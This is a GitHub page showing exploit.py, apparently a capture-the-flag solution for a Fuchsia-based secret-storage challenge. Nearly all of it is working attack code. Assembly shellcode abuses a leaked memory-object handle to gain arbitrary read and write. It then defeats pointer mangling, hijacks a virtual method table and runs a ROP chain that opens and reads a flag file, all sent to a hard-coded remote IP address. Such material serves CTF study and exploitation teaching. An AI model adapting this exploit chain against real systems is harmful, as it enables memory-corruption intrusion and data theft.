-
Notifications
You must be signed in to change notification settings - Fork 263
/
Copy pathexploit.py
executable file
·272 lines (234 loc) · 10.9 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
#!/usr/bin/python2
from pwn import *
def exploit(connection):
# Vulnerability
#
# The SecretStorageGetContent RPC returns Virtual Memory Object handle
# (vmo handle) representing memory region that overlaps with internal
# state of the server object. The client can abuse this handle to inspect
# and modify state of the server object while issuing further RPC
# requests.
#
# We exploit the above vulnerability to build arbitrary memory read and
# write primitive and finaly pass hijack control to ROP payload.
payload = """
mov rbx, [rsp] /* from call */
sub rbx, 0x7205 /* caidanti image base */
mov rbp, rsp
/*
* Step 1: Obtain vmo handle representing memory region that
* overlaps with internal state of the server object
*
* Simply invoke client->SecretStorageGetContent() method.
*/
push 0
lea rdx, [rbp - 8] /* = &handle */
lea rsi, [rip + key]
mov rdi, [rbx + 0x12140] /* = client */
mov rax, [rdi]
call [rax + 0x20] /* SecretStorageGetContent */
/*
* Step 2: Map the server memory region into client space
*
* This is based on caidanti code used during "Update content of
* secret".
*/
push 0
lea rsi, [rbp - 0x10] /* = &size */
mov rdi, [rbp - 8]
mov edi, [rdi] /* = handle */
call [rbx + 0x12078] /* zx_vmo_get_size */
call [rbx + 0x12080] /* zx_vmar_root_self */
push 0
lea rdi, [rbp - 0x18]
push rdi /* = &mapped_addr */
mov r9, [rbp - 0x10] /* = len */
xor r8d, r8d /* = vmo_offset */
mov rdi, [rbp - 8]
mov ecx, [rdi] /* = vmo */
xor rdx, rdx /* = vmar_offset */
mov esi, 3 /* = options */
mov edi, eax /* = vmar */
call [rbx + 0x12088] /* zx_vmar_map */
/*
* Step 3: Obtain image base of caidanti-storage-service
*
* This is computed from address of the virtual method table
* available in the server object.
*/
mov rdi, [rbp - 0x18]
mov rsi, [rdi]
sub rsi, 0x13060
mov [rbp - 0x20], rsi /* caidanti-storage-service = */
/*
* Step 4: Obtain image base of libc.so
*
* We modify key (std::string) of the first slot to use
* caidanti-storage-service .got as the data buffer. Next we
* invoke SecretStorageListKeys RPC and inspect the returned key.
*
* This demonstrates arbitrary memory read.
*/
add rsi, 0x13608 /* = &_libc_start_main */
mov [rdi + 0x70], rsi /* server.slot[0].key.ptr */
mov qword ptr [rdi + 0x78], 8 /* server.slot[0].key.length */
mov rax, 0x8000000000000030
mov qword ptr [rdi + 0x80], rax /* server.slot[0].key.allocation */
push 0
push 0
push 0
lea rsi, [rsp] /* = &output (std::string) */
mov rdi, [rbx + 0x12140] /* = client */
mov rax, [rdi]
call [rax + 0x18] /* SecretStorageListKeys */
mov rsi, [rsp]
mov rsi, [rsi]
sub rsi, 0x657c0
mov [rbp - 0x28], rsi /* libc_va = */
add rsp, 0x10
/*
* Step 5: Overwrite state used for pointer mangling to prepare
* for passing control via siglongjmp.
*
* We mark first slot as free, but modify its key (std::string) to
* use data buffer overlapping with mangling data within libc.so.
* Next we invoke SecretStorageCreate RPC to overwite the key data
* buffer.
*
* This demonstrates arbitrary memory write.
*/
mov rdi, [rbp - 0x18]
add rsi, 0xae278 /* = mangling data */
mov qword ptr [rdi + 0x68], 0 /* server.slot[0].used */
mov [rdi + 0x70], rsi /* server.slot[0].key.ptr */
mov qword ptr [rdi + 0x78], 0x20 /* server.slot[0].key.length */
push 0
lea rcx, [rsp] /* = &slot_index */
mov rax, 0x0100000000000000
push rax
push 0
push 0x43
lea rdx, [rsp] /* = &value (std::string) */
push 0
push 0
push 0
mov rdi, [rbp - 0x18]
mov rsi, [rdi + 0x50]
add rsi, 0xe00
mov rax, [rbp - 0x28]
add rax, 0x54211 /* pop rdi ; pop rbp ; ret */
xor rax, rsi
push rax
lea rsi, [rsp] /* = key_data (0x20 bytes) */
mov rax, 0x8000000000000030
push rax
push 0x20
push rsi
lea rsi, [rsp] /* = &key (std::string) */
mov rdi, [rbx + 0x12140] /* = client */
mov rax, [rdi]
call [rax + 0x10] /* SecretStorageCreate */
add rsp, 0x58
/*
* Step 6: Overwrite virtual method table and setup registers
* for siglongjmp
*/
mov rdi, [rbp - 0x18]
mov rsi, [rdi + 0x50] /* server object address (self-reference) */
add rsi, 0xe00
mov [rdi], rsi /* server object virtual method table */
add rsi, 0x1c00 - 0xe00
mov [rdi + 8], rsi
mov rax, [rbp - 0x28]
add rax, 0xaff00 /* used as scratch space */
mov [rdi + 0x18], rax
/*
* Step 7: Setup ROP chain
*/
mov rax, [rbp - 0x28]
add rax, 0x54644 /* siglongjmp */
mov [rdi + 0xe30], rax /* SecretStorageReset handler */
mov rax, [rbp - 0x20]
add rax, 0x02568 /* "/pkg/data/flag" */
mov [rdi + 0x1c08], rax
mov rax, [rbp - 0x20]
add rax, 0x53cd /* pop rsi ; ret */
mov [rdi + 0x1c18], rax
mov rax, 0
mov [rdi + 0x1c20], rax
mov rax, [rbp - 0x20]
add rax, 0x127e0 /* open */
mov [rdi + 0x1c28], rax
mov rax, [rbp - 0x28]
add rax, 0x07ab99 /* xchg eax, edi ; ret */
mov [rdi + 0x1c30], rax
mov rax, [rbp - 0x28]
add rax, 0x07265e /* pop rsi ; ret */
mov [rdi + 0x1c38], rax
mov rax, [rdi + 0x50]
add rax, 0xc0
mov [rdi + 0x1c40], rax
mov rax, [rbp - 0x28]
add rax, 0x068c46 /* pop rdx ; ret */
mov [rdi + 0x1c48], rax
mov rax, 0x100
mov [rdi + 0x1c50], rax
mov rax, [rbp - 0x20]
add rax, 0x12900 /* read */
mov [rdi + 0x1c58], rax
mov rax, [rbp - 0x28]
add rax, 0x5d418 /* infinite loop */
mov [rdi + 0x1c60], rax
/*
* Step 8: Trigger ROP by calling SecretStorageReset
*
* We use SecretStorageReset as client implementation seems
* asynchronous.
*/
mov rdi, [rbx + 0x12140] /* = client */
mov rax, [rdi]
call [rax + 0x30] /* SecretStorageReset */
/*
* Step 9: Wait for read to complete
*/
mov rdi, [rbp - 0x18]
add rdi, 0xc0
0:
cmp qword ptr [rdi], 0
je 0b
/*
* Step 10: Exfiltrate
*/
call [rbx + 0x120a8] /* puts */
/*
* All done
*/
xor rdi, rdi
call [rbx + 0x12028] /* exit */
.balign 0x10
key:
.ascii "A"
.fill 0x16, 1, 0
.byte 0x01
"""
payload_binary = asm(payload)
def create_secret(key, content):
connection.recvuntil("114514. Bring your own C\xc3\xa0i D\xc4\x81n T\xc3\xad\n")
connection.send("1\n")
connection.recvuntil("Key: ")
connection.send("{:s}\n".format(key))
connection.recvuntil("Initial content: ")
connection.send("{:s}\n".format(content))
create_secret("A", "B" * 0x1)
# application command to execute arbitrary shellcode
connection.recvuntil("114514. Bring your own C\xc3\xa0i D\xc4\x81n T\xc3\xad\n")
connection.send("114514\n")
connection.recvuntil("Your code size: ")
connection.send("{:d}\n".format(len(payload_binary)))
connection.send(payload_binary)
flag = connection.recvuntil("}")
info("flag = \"{:s}\"".format(flag))
context.log_level = "debug"
context.arch = "amd64"
with remote("54.177.17.135", 23333) as connection:
exploit(connection)